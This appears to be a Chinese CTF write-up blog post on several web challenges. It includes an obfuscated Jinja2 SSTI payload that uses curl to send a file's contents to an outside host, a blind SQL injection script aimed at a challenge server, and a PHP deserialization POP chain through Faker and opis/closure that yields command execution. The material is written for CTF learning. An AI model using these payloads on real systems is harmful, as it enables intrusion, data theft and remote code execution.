前言
大师傅们都太强了,被自己菜哭了QAQ
Ez to getflag
网站有两个功能点,一个图片上传一个图片查看。其中图片查看功能可以通过GET参数进行任意文件读取。不知道是不是出题人没配好环境的原因。。
Harddisk
开局一个框。经过各种测试后感觉像Python后端,测试存在SSTI
粗略Fuzz了下,大致过滤了如下关键字
空格
{{}}
[]
__
.
'
print
os
popen
read
class
base
...
SSTI的绕过可以参考以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用,总结的很全。本题的绕过方式如下
#%0d绕过
空格
#使用{% if payload %}1{% endif %}的形式,但无回显,需要curl外带
{{}}
print
#使用|attr()过滤器绕过,配合Unicode编码绕过关键字
[]
__
.
\x
class
base
#"绕过
''
#""拆分关键字绕过
os
popen
read
...
最终可以构造出如下Payload
{%%0dif%0d()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(219)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("o""s")|attr("po""pen")("curl${IFS}http://795653328:8888?`cat${IFS}/f*`")|attr("re""ad")()%}1{%%0dendif%0d%}
这里由于.
被过滤,可以使用ip地址的十进制形式绕过,转换工具
绝对防御
翻js文件static/alerttip.js
可以发现存在可疑路径
访问可以看见js源码
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
function check(){
var reg = /[`~!@#$%^&*()_+<>?:"{},.\/;'[\]]/im;
if (reg.test(getQueryVariable("id"))) {
alert("提示:您输入的信息含有非法字符!");
window.location.href = "/"
}
}
能够GET传参id
,并且前端过滤了一些特殊字符,测试id存在sql盲注,脚本如下
import requests
proxy={"http":"http://127.0.0.1:8080/"}
url="http://ab937290-72fe-43aa-b3d5-92d1ab587d34.node4.buuoj.cn:81/SUPPERAPI.php?id="
flag=''
for i in range(1,200):
print("------------------"+str(i)+"------------------")
low=32
high=128
mid=(low+high)//2
while low<high:
#ctf
# paylaod="2 and ascii(substr((select database()),{},1))>{}".format(i,mid)
#user
# paylaod = "2 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}".format(i, mid)
#id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
# paylaod = "2 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i, mid)
# admin123!,DASCTF{1436c038-a5ac-42a6-bb8b-e34a4769b7fe}
paylaod = "2 and ascii(substr((select group_concat(password) from users),{},1))>{}".format(i, mid)
r=requests.get(url+paylaod,proxies=proxy)
# print(str(low) + ':' + str(mid) + ':' + str(high))
if "flag" in r.text:
# print(r.text)
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag += chr(mid)
print(flag)
Newser(0解)
Cookie能够反序列化base64字符串
简单看了一下链子,这道题只给了一个User类,并且没有什么明显可以利用的地方,只有__destruct
方法可以利用
public function __destruct()
{
echo "User ".$this->instance->_username." has created.";
}
乍一看有点像原生类的利用。这里可以将_username
赋值为原生类,然后字符串拼接调用原生类的__toString
方法。但是要注意这里的原生类不是通过关键字new
来实例化的,而是通过序列化字符串来进行实例化的。
对于常用的几个原生类,在PHP8的环境下大部分都不能被序列化
但是我们可以通过Error类
来进行XSS
public function __construct($username, $password, $email)
{
$this->email = $email;
$this->username = $username;
$this->password = $password;
$this->instance = $this;
$this->_username = new Error("<script>alter(/1/)</script>");
}
但是没有想到怎么利用XSS进行下一步攻击。这里我尝试利用XSS探测内网,但是没有成功。
PHP Composer
Composer是PHP中用于管理依赖的工具,类似Java中的Maven。通过配置composer.json文件,我们能够方便地管理本地和第三方依赖。一个简单的示例如下
{
"require": {
"fakerphp/faker": "^1.19",
"opis/closure": "^3.6"
}
}
配置好composer.json文件之后,可以通过composer install
来下载第三方依赖。其中各种第三方依赖以及插件都会被自动放置在vendor
文件夹下,我们可以通过包含vendor/autoload.php
文件来自动引入所需依赖文件。目录结构如下
本题存在composer.json
文件泄露,如下
序列化闭包
在PHP5.3之后,引入了函数闭包这个语法(又称匿名函数)。通过闭包我们能够声明一个没有名字的函数,并将其赋值给一个变量。我们也可以通过回调函数来调用闭包
<?php
$func = function($b){
return $b**$b;
};
echo $func(3);
//output:27
echo call_user_func($func,3);
//output:27
那么闭包能否被序列化呢?我们来测试一下
<?php
$func = function($b){
return $b**$b;
};
try{
$s = serialize($func);
var_dump($s);
}catch (Exception $e){
echo $e;
}
正常情况下闭包是不能被序列化的,并且我们也能发现闭包实际上就是一个Closure
类
final class Closure
{
private function __construct() {}
public function __invoke(...$_) {}
public function bindTo(?object $newThis, object|string|null $newScope = 'static') {}
public function call(object $newThis, mixed ...$args) {}
public static function fromCallable(callable $callback) {}
}
我们可以引入第三方依赖opis/closure
来序列化闭包
<?php
include("vendor/autoload.php");
$func = function($b){
return $b**$b;
};
try{
$s = \Opis\Closure\serialize($func);
var_dump($s);
}catch (Exception $e){
echo $e;
}
//output:
//string(205) "C:32:"Opis\Closure\SerializableClosure":159:{a:5:{s:3:"use";a:0:{}s:8:"function";s:36:"function($b){
// return $b**$b;
//}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"000000007a8a9d390000000012397df7";}}"
在使用opis/closure
序列化闭包时,会将原本的Closure
类包装成Opis\Closure\SerializableClosure
类,反序列化时再将其转回Closure
类,这里对比原生的unserialize
<?php
include("vendor/autoload.php");
$func = function($b){
return $b**$b;
};
try{
$s = \Opis\Closure\serialize($func);
// var_dump($s);
}catch (Exception $e){
echo $e;
}
var_dump(\Opis\Closure\unserialize($s));
//output:
//object(Closure)#7 (1) {
// ["parameter"]=>
// array(1) {
// ["$b"]=>
// string(10) "<required>"
// }
//}
var_dump(unserialize($s));
//output:
//object(Opis\Closure\SerializableClosure)#7 (5) {
//["closure":protected]=>
// object(Closure)#4 (1) {
// ["parameter"]=>
// array(1) {
// ["$b"]=>
// string(10) "<required>"
// }
// }
// ["reflector":protected]=>
// NULL
// ["code":protected]=>
// string(36) "function($b){
// return $b**$b;
//}"
//["reference":protected]=>
// NULL
// ["scope":protected]=>
// NULL
//}
原生反序列化完闭包之后仍然是Opis\Closure\SerializableClosure
类,但是两种方法反序列化处理后都可正常回调
var_dump(call_user_func(unserialize($s),3));
var_dump(call_user_func(\Opis\Closure\unserialize($s),3));
//output:
//int(27)
//int(27)
在往年的赛题中,也有考过反序列化闭包配合回调函数RCE的思路。
POP链构造
题目只给出了一个User类,我们可以利用第三方依赖来完成POP链的构造。注意到题目引入了fakerphp/faker
这个依赖。在其Generator
类中存在回调
public function format($format, $arguments = [])
{
return call_user_func_array($this->getFormatter($format), $arguments);
}
在其__get
函数中调用了format函数
public function __get($attribute)
{
trigger_deprecation('fakerphp/faker', '1.14', 'Accessing property "%s" is deprecated, use "%s()" instead.', $attribute, $attribute);
return $this->format($attribute);
}
而上文提到过,User类中的__desturct
可以触发任意类的__get
方法
public function __destruct()
{
echo "User ".$this->instance->_username." has created.";
}
这就构成了一条完美的利用链
User::__destruct->
Generator::__get->
Generator::format->
call_user_func_array
PHP8绕过__wakeup置空
注意到\Faker\Generator
中,回调函数的第一个参数是通过formatters
数组来赋值的。但在\Faker\Generator
的__wakeup
方法中会对formatters
进行置空
public function __wakeup()
{
$this->formatters = [];
}
这里需要绕过__wakeup
。在低版本PHP中(PHP5<5.6.25,PHP7 < 7.0.10)存在__wakeup
绕过漏洞(CVE-2016-7124)。但本题的环境是PHP8,我们可以利用引用来绕过wakeup中的属性置空操作。
我们先来看下面的例子
<?php
class test1{
public $t1;
public function __construct($obj){
echo 1;
$this->t1 = &$obj->t2;
}
public function __wakeup(){
echo 3;
$this->t1=NULL;
}
}
class test2{
public $elem;
public $t2;
public $obj;
public function __construct(){
echo 2;
$this->elem = "feng";
$this->obj = new test1($this);
}
public function __wakeup(){
echo 4;
$this->t2 = $this->elem;
}
}
$t = new test2();
$s = serialize($t);
//echo $s;
$t2 = unserialize($s);
echo $t2->obj->t1;
//output:2134feng
我们想绕过test1的__wakeup
置空,可以将被置空的属性t1
和test2类中的属性t2
通过引用“绑定”起来。现在操作t2
就相当于操作t1
。然后我们将test1对象作为test2的一个属性,当test2被反序列化时,PHP会优先解析类属性,因此test1作为test2的一个属性会被先反序列化成一个类。等test2的所有属性都被解析完之后才会被反序列化成一个类。
因此test2的__wakeup
在test1的__wakeup
之后被调用,在属性t1被置空之后,再通过test2的__wakeup
进行赋值,这样就绕过了test1的__wakeup
置空限制。
理解了上面的原理,下面我们就可以构造出题目的POP链了
<?php
namespace {
class User{
protected $_password;
public $password;
private $instance;
public function __construct(){
$this->instance = new Faker\Generator($this);
$this->_password = ["_username"=>"phpinfo"];
}
}
$payload=str_replace("s:8:\"password\"","s:14:\"".urldecode("%00")."User".urldecode("%00")."password\"",serialize(new User()));
// echo $payload;
echo base64_encode($payload);
}
namespace Faker{
class Generator{
protected $formatters;
public function __construct($obj){
$this->formatters = &$obj->password;
}
}
}
由于需要在类外调用password
属性,因此我们先将其标识为public,序列化之后再改为private
下面我们可以通过反序列化闭包来进行RCE
<?php
namespace {
include("vendor/autoload.php");
class User{
protected $_password;
public $password;
private $instance;
public function __construct(){
$func = function (){
system("ls /");
};
$b=\Opis\Closure\serialize($func);
$c=unserialize($b);
$this->instance = new Faker\Generator($this);
$this->_password = ["_username"=>$c];
}
}
$payload=str_replace("s:8:\"password\"","s:14:\"".urldecode("%00")."User".urldecode("%00")."password\"",serialize(new User()));
// echo $payload;
echo base64_encode($payload);
}
namespace Faker{
class Generator{
protected $formatters;
public function __construct($obj){
$this->formatters = &$obj->password;
}
}
}
师傅很强
同學您好
看了你幾篇ctf的文章
不知道是否能問問你幾題web ctf的題目